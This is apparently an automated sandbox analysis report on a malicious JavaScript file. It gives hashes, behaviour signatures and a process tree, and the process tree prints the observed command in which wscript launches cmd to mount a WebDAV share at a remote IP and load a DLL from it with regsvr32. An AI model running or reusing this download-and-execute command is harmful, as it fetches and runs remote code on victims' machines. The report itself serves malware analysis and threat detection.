Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 05:31

General

  • Target

    2957419847143424533.js

  • Size

    5KB

  • MD5

    5724019753ec759e88a55ef53009e365

  • SHA1

    cfb7f5f76c00b5ba3733dea4264b4e48ad90b4a3

  • SHA256

    894333cd2cd248cca8cd071146490d969a6351af2149d44b26ebcd30082dee45

  • SHA512

    96bd07cd6d64a26a1fba8e7e405d5f9e3c344bb01992327349a8cf8b3f40c3f57d43cbc52cc3a546e0d28144947639b7ed8bb9795a27a9909a2285f91e0ea373

  • SSDEEP

    96:z20/Me8ByVWH5O1gPsk333f/Akfr1gPsk333f/Gb6Dk7d5p:zPr80VWHkM/Akf5M/aF

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2957419847143424533.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\285872443920380.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2680

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads